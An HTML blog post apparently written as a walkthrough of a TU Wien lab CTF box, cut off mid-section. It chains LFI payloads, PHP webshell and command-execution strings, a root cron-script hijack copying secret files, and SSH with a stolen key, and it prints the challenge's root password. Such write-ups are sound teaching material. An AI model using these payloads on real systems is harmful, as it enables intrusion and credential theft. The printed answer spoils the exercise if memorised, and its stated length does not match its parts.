107 lines
No EOL
47 KiB
HTML
107 lines
No EOL
47 KiB
HTML
<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="noindex, nofollow"><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job | AlipourIm journeys</title>
|
||
<meta name=keywords content="ctf,tuwien,lfi,web,linux,nginx,php,privesc"><meta name=description content="LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."><meta name=author content="Iman Alipour"><link rel=canonical href=https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/><link crossorigin=anonymous href=/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css integrity="sha256-MbFQ2QkYbEjW279lOswkiZRfqawsj4zT/oRI6J5A/M8=" rel="preload stylesheet" as=style><link rel=icon href=https://blog.alipour.eu/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://blog.alipour.eu/favicon-16x16.png><link rel=icon type=image/png sizes=32x32 href=https://blog.alipour.eu/favicon-32x32.png><link rel=apple-touch-icon href=https://blog.alipour.eu/apple-touch-icon.png><link rel=mask-icon href=https://blog.alipour.eu/safari-pinned-tab.svg><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate hreflang=en href=https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--code-block-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script>(function(){window.goatcounter={endpoint:"/count"};const e=document.createElement("script");e.async=!0,e.src="/js/count.js",document.head.appendChild(e)})()</script><script>(function(){const s="",t=new Intl.NumberFormat,o="visit",i="visits";function a(e){document.readyState==="complete"||document.readyState==="interactive"?setTimeout(e,0):document.addEventListener("DOMContentLoaded",e)}function r(){try{return window.goatcounter&&window.goatcounter.get_data?window.goatcounter.get_data().p:location.pathname}catch{return location.pathname}}async function e(e,t){try{const o=new URLSearchParams({t:String(Date.now())});t&&o.set("start",t);const a=`${s}/counter/${encodeURIComponent(e)}.json?${o}`,n=await fetch(a,{credentials:"omit"});if(n.status===404)return 0;if(!n.ok)throw 0;const r=await n.json(),i=Number(String(r.count).replace(/,/g,""));return Number.isFinite(i)?i:0}catch{return null}}const n=e=>e===null?"—":`${t.format(e)} ${e===1?o:i}`;a(async function(){const s=document.querySelector(".post-single");if(s){const t=s.querySelector(".post-header .post-meta, .post-header .entry-meta, .post-meta"),o=await e(r());if(t){let e=t.querySelector(".post-views");e||(e=document.createElement("span"),e.className="post-views",t.appendChild(e)),e.textContent=n(o??0)}}const i=document.querySelectorAll("article.post-entry");await Promise.all(Array.from(i).map(async t=>{const s=t.querySelector(".entry-footer, .post-meta"),o=t.querySelector("a.entry-link, h2 a, .entry-title a");if(!s||!o)return;try{const i=new URL(o.getAttribute("href"),location.origin);if(i.origin!==location.origin)return;let t=s.querySelector(".post-views");t||(t=document.createElement("span"),t.className="post-views",s.appendChild(t)),t.textContent=n(await e(i.pathname)??0)}catch{}}));const o=document.getElementById("gc_site_visitors_week");if(o){const n=await e("TOTAL","week");o.textContent=n===null?"—":t.format(n)}})})()</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://blog.alipour.eu/ accesskey=h title="AlipourIm journeys (Alt + H)">AlipourIm journeys</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)" aria-label="Toggle theme"><svg id="moon" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://blog.alipour.eu/posts/ title=Posts><span>Posts</span></a></li><li><a href=https://blog.alipour.eu/phd_journey/ title=PhD_journey><span>PhD_journey</span></a></li><li><a href=https://blog.alipour.eu/about/ title=About><span>About</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://blog.alipour.eu/>Home</a> » <a href=https://blog.alipour.eu/posts/>Posts</a></div><h1 class="post-title entry-hint-parent">A TU Wien CTF where Sysops Klaus left the keys in the cron job</h1><div class=post-meta><span title='2026-06-05 12:00:00 +0000 UTC'>June 5, 2026</span> · 10 min · Iman Alipour
|
||
<span class=post-meta-item><a href=https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/#isso-thread class=isso-comments-link>Comments</a></span></div></header><div class=post-content><blockquote><p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.</p></blockquote><p>This post documents how I solved a CTF box that came out of <a href=https://www.inet.tuwien.ac.at/>Tobias Fiebig</a>’s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p><p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p><ol><li>Collect every <code>passwd_part</code> file sitting in user home directories.</li><li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li></ol><p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p><hr><h2 id=0-the-lay-of-the-land>0) The lay of the land<a hidden class=anchor aria-hidden=true href=#0-the-lay-of-the-land>#</a></h2><p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p><p>From the outside you mostly see three faces of the same machine:</p><table><thead><tr><th>Host</th><th>What it is</th></tr></thead><tbody><tr><td><code>g00.tuw.measurement.network</code></td><td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td></tr><tr><td><code>web.g00.tuw.measurement.network</code></td><td>PHP “meme gallery” with a very trusting <code>?page=</code> parameter</td></tr><tr><td><code>pwreset.g00.tuw.measurement.network</code></td><td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td></tr></tbody></table><p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code>–<code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p><p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p><hr><h2 id=1-recon--documentationmd-saves-the-day>1) Recon — documentation.md saves the day<a hidden class=anchor aria-hidden=true href=#1-recon--documentationmd-saves-the-day>#</a></h2><p>First stop: the main site.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>curl -s https://g00.tuw.measurement.network/documentation.md
|
||
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p><ul><li><strong>web</strong> → <code>web.g00.tuw.measurement.network</code></li><li><strong>pwreset</strong> → <code>pwreset.g00.tuw.measurement.network</code></li></ul><p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p><p>Subdomains resolve. Good. Let’s go web.</p><hr><h2 id=2-lfi--include_getpage-classic>2) LFI — <code>include($_GET['page'])</code> classic<a hidden class=anchor aria-hidden=true href=#2-lfi--include_getpage-classic>#</a></h2><p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>curl -sk <span style=color:#e6db74>'https://web.g00.tuw.measurement.network/?page=/etc/passwd'</span>
|
||
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p><p>Source via PHP filter works too:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>curl -sk <span style=color:#e6db74>'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php'</span> <span style=color:#ae81ff>\
|
||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> | sed -n <span style=color:#e6db74>'s/.*frame name="in">//p'</span> | base64 -d
|
||
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span><span style=color:#f92672><?</span><span style=color:#a6e22e>php</span>
|
||
</span></span><span style=display:flex><span>$page <span style=color:#f92672>=</span> $_GET[<span style=color:#e6db74>'page'</span>] <span style=color:#f92672>??</span> <span style=color:#e6db74>'home.php'</span>;
|
||
</span></span><span style=display:flex><span><span style=color:#66d9ef>include</span>($page);
|
||
</span></span><span style=display:flex><span><span style=color:#75715e>?></span><span style=color:#960050;background-color:#1e0010>
|
||
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p><p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#75715e># spoiler: doesn't work</span>
|
||
</span></span><span style=display:flex><span>curl -sk <span style=color:#e6db74>'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'</span>
|
||
</span></span><span style=display:flex><span><span style=color:#75715e># → permission denied</span>
|
||
</span></span></code></pre></div><p>Same for <code>user2</code>–<code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p><hr><h2 id=3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx>3) pwreset — localhost-only, but LFI doesn’t care about nginx<a hidden class=anchor aria-hidden=true href=#3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx>#</a></h2><p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nginx data-lang=nginx><span style=display:flex><span><span style=color:#66d9ef>allow</span> 127.0.0.1;
|
||
</span></span><span style=display:flex><span><span style=color:#66d9ef>deny</span> <span style=color:#e6db74>all</span>;
|
||
</span></span></code></pre></div><p>So you can’t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that’s a local file include, not an HTTP request.</p><p>pwreset source (paraphrased):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span>$user <span style=color:#f92672>=</span> $_GET[<span style=color:#e6db74>'user'</span>] <span style=color:#f92672>??</span> <span style=color:#e6db74>''</span>;
|
||
</span></span><span style=display:flex><span>$pass <span style=color:#f92672>=</span> $_GET[<span style=color:#e6db74>'pass'</span>] <span style=color:#f92672>??</span> <span style=color:#e6db74>''</span>;
|
||
</span></span><span style=display:flex><span><span style=color:#a6e22e>file_put_contents</span>(<span style=color:#e6db74>'/var/www/userchange'</span>, <span style=color:#e6db74>"</span><span style=color:#e6db74>$user</span><span style=color:#e6db74>:</span><span style=color:#e6db74>$pass\n</span><span style=color:#e6db74>"</span>);
|
||
</span></span><span style=display:flex><span><span style=color:#66d9ef>echo</span> <span style=color:#e6db74>"Password reset queued."</span>;
|
||
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p><p><strong>Trigger it through LFI:</strong></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>https://web.g00.tuw.measurement.network/
|
||
</span></span><span style=display:flex><span> ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
|
||
</span></span><span style=display:flex><span> &user=user1
|
||
</span></span><span style=display:flex><span> &pass=MyTestPass1!
|
||
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p><hr><h2 id=4-rce--php-in-userchange-included-like-a-boss>4) RCE — PHP in <code>userchange</code>, included like a boss<a hidden class=anchor aria-hidden=true href=#4-rce--php-in-userchange-included-like-a-boss>#</a></h2><p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn’t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p><p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span><span style=color:#f92672><?=</span><span style=color:#e6db74>`id`</span><span style=color:#75715e>?></span><span style=color:#960050;background-color:#1e0010>
|
||
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>?page=/var/www/userchange
|
||
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p><p>Short tags (<code><?= ... ?></code>) for the win. A longer <code><?php system(...); ?></code> payload also works, but the backtick version is minimal and cute.</p><p>From here on, my mental model was:</p><ol><li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li><li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li></ol><p>That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.</p><hr><h2 id=5-rabbit-holes-aka-everything-i-tried-before-it-worked>5) Rabbit holes (aka “everything I tried before it worked”)<a hidden class=anchor aria-hidden=true href=#5-rabbit-holes-aka-everything-i-tried-before-it-worked>#</a></h2><p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p><h3 id=nginx-log-poisoning>nginx log poisoning<a hidden class=anchor aria-hidden=true href=#nginx-log-poisoning>#</a></h3><p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href=#11-bonus-the-intended-log-poisoning-path>§11 Bonus</a> for the real technique and what I screwed up.</p><p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p><h3 id=data-phpinput-expect><code>data://</code>, <code>php://input</code>, <code>expect://</code><a hidden class=anchor aria-hidden=true href=#data-phpinput-expect>#</a></h3><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>?page<span style=color:#f92672>=</span>data://text/plain,<?php system<span style=color:#f92672>(</span>$_GET<span style=color:#f92672>[</span>cmd<span style=color:#f92672>])</span>; ?>
|
||
</span></span><span style=display:flex><span>?page<span style=color:#f92672>=</span>php://input <span style=color:#75715e># with POST body</span>
|
||
</span></span><span style=display:flex><span>?page<span style=color:#f92672>=</span>expect://id
|
||
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn’t <em>that</em> careless.</p><h3 id=vim-swp-files>vim <code>.swp</code> files<a hidden class=anchor aria-hidden=true href=#vim-swp-files>#</a></h3><p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p><p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p><h3 id=munin--apt_all-plugin>Munin / <code>apt_all</code> plugin<a hidden class=anchor aria-hidden=true href=#munin--apt_all-plugin>#</a></h3><p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p><ul><li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn’t exist</strong></li><li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li><li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li></ul><p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p><h3 id=pwreset-log-archaeology>pwreset log archaeology<a hidden class=anchor aria-hidden=true href=#pwreset-log-archaeology>#</a></h3><p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p><ul><li>Saw historical resets like <code>user3</code> → <code>foobar23</code></li><li>Tried <code>foobar23</code> over SSH for every user</li></ul><p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.</p><h3 id=shell-script-injection-into-userchange>Shell script injection into <code>userchange</code><a hidden class=anchor aria-hidden=true href=#shell-script-injection-into-userchange>#</a></h3><p>I tried newline injection to turn <code>userchange</code> into a bash script:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>user=
|
||
</span></span><span style=display:flex><span>#!/bin/sh
|
||
</span></span><span style=display:flex><span>cp /home/user1/passwd_part /var/www/.../p1
|
||
</span></span><span style=display:flex><span>...
|
||
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p><h3 id=brute-forcing-the-userchange-consumer>Brute-forcing the <code>userchange</code> consumer<a hidden class=anchor aria-hidden=true href=#brute-forcing-the-userchange-consumer>#</a></h3><p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p><p>Eventually <strong>didn’t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)</p><h3 id=direct-ssh-password-guessing>Direct SSH password guessing<a hidden class=anchor aria-hidden=true href=#direct-ssh-password-guessing>#</a></h3><p>Tried setting root’s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p><p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.</p><hr><h2 id=6-privesc--world-writable-cron-script-peak-klaus>6) Privesc — world-writable cron script (peak Klaus)<a hidden class=anchor aria-hidden=true href=#6-privesc--world-writable-cron-script-peak-klaus>#</a></h2><p>With RCE as <code>www-data</code>, I looked for writable files:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>find / -writable -type f 2>/dev/null | head
|
||
</span></span></code></pre></div><p>Jackpot:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
|
||
</span></span></code></pre></div><p>Original script (innocent):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#75715e>#!/bin/bash
|
||
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
|
||
</span></span></code></pre></div><p>It’s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef’s kiss.</p><p>I appended:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
|
||
</span></span><span style=display:flex><span>cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
|
||
</span></span><span style=display:flex><span>cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
|
||
</span></span><span style=display:flex><span>cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
|
||
</span></span><span style=display:flex><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
|
||
</span></span><span style=display:flex><span>cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
|
||
</span></span><span style=display:flex><span>chmod <span style=color:#ae81ff>644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
|
||
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span><span style=color:#f92672><?=</span><span style=color:#e6db74>`/usr/local/bin/cron_update_hostname_file.sh`</span><span style=color:#75715e>?></span><span style=color:#960050;background-color:#1e0010>
|
||
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p><hr><h2 id=7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood>7) SSH as <code>www-data</code> — because keys in the webroot are a mood<a hidden class=anchor aria-hidden=true href=#7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood>#</a></h2><p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#75715e># via RCE: cat the key, save locally, chmod 600</span>
|
||
</span></span><span style=display:flex><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style=color:#f92672>=</span>no <span style=color:#ae81ff>\
|
||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> www-data@g00.tuw.measurement.network
|
||
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p><hr><h2 id=8-the-password-parts>8) The password parts<a hidden class=anchor aria-hidden=true href=#8-the-password-parts>#</a></h2><table><thead><tr><th>Source</th><th>File</th><th>Part</th></tr></thead><tbody><tr><td>user1</td><td><code>p1</code></td><td><code>DcC6Da0A27384fA</code></td></tr><tr><td>user2</td><td><code>p2</code></td><td><code>9Ce05B3cAd57824</code></td></tr><tr><td>user3</td><td><code>p3</code></td><td><code>3aD80fa1b7AE986</code></td></tr><tr><td>user4</td><td><code>p4</code></td><td><code>CDefabffab1FCCf</code></td></tr><tr><td>www-data</td><td><code>passwd_part</code></td><td><code>44D885d6DAb8Bb9</code></td></tr><tr><td>root</td><td><code>rootpass</code></td><td><code>ghadnuthduxeec7</code></td></tr></tbody></table><p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p><p><strong>Combined root password (95 characters):</strong></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
|
||
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p><p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p><p>Root SSH with that password from <strong>outside</strong> still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p><hr><h2 id=9-attack-chain-one-screen>9) Attack chain (one screen)<a hidden class=anchor aria-hidden=true href=#9-attack-chain-one-screen>#</a></h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>documentation.md
|
||
</span></span><span style=display:flex><span> → web vhost LFI (include $_GET['page'])
|
||
</span></span><span style=display:flex><span> → include pwreset index.php (localhost bypass)
|
||
</span></span><span style=display:flex><span> → write PHP to /var/www/userchange
|
||
</span></span><span style=display:flex><span> → LFI include userchange
|
||
</span></span><span style=display:flex><span> → RCE as www-data
|
||
</span></span><span style=display:flex><span> → append to world-writable cron_update_hostname_file.sh
|
||
</span></span><span style=display:flex><span> → cron runs as root → copies passwd parts to webroot
|
||
</span></span><span style=display:flex><span> → read parts / SSH as www-data
|
||
</span></span><span style=display:flex><span> → profit
|
||
</span></span></code></pre></div><p>Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.</p><hr><h2 id=10-replay-script>10) Replay script<a hidden class=anchor aria-hidden=true href=#10-replay-script>#</a></h2><p>I left a minimal Python replay in the challenge repo:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>python3 solve.py
|
||
</span></span></code></pre></div><p>Core logic:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>pwreset</span>(user, passwd<span style=color:#f92672>=</span><span style=color:#e6db74>""</span>):
|
||
</span></span><span style=display:flex><span> <span style=color:#75715e># LFI-include pwreset index.php with user/pass params</span>
|
||
</span></span><span style=display:flex><span>
|
||
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>rce</span>(cmd):
|
||
</span></span><span style=display:flex><span> pwreset(<span style=color:#e6db74>f</span><span style=color:#e6db74>"<?=`</span><span style=color:#e6db74>{</span>cmd<span style=color:#e6db74>}</span><span style=color:#e6db74>`?>"</span>, <span style=color:#e6db74>""</span>)
|
||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> lfi_include(<span style=color:#e6db74>"/var/www/userchange"</span>)
|
||
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p><hr><h2 id=11-bonus-the-intended-log-poisoning-path>11) Bonus: the intended log poisoning path<a hidden class=anchor aria-hidden=true href=#11-bonus-the-intended-log-poisoning-path>#</a></h2><p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p><p>So here’s the path you’re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p><h3 id=the-hint-is-in-indexphp-not-documentationmd>The hint is in <code>index.php</code>, not <code>documentation.md</code><a hidden class=anchor aria-hidden=true href=#the-hint-is-in-indexphp-not-documentationmd>#</a></h3><p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span><span style=color:#75715e><!-- remember for debugging:
|
||
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/$vhost.access.log
|
||
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/$vhost.error.log
|
||
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/ssl-$vhost.access.log
|
||
</span></span></span><span style=display:flex><span><span style=color:#75715e> /var/log/nginx/ssl-$vhost.error.log
|
||
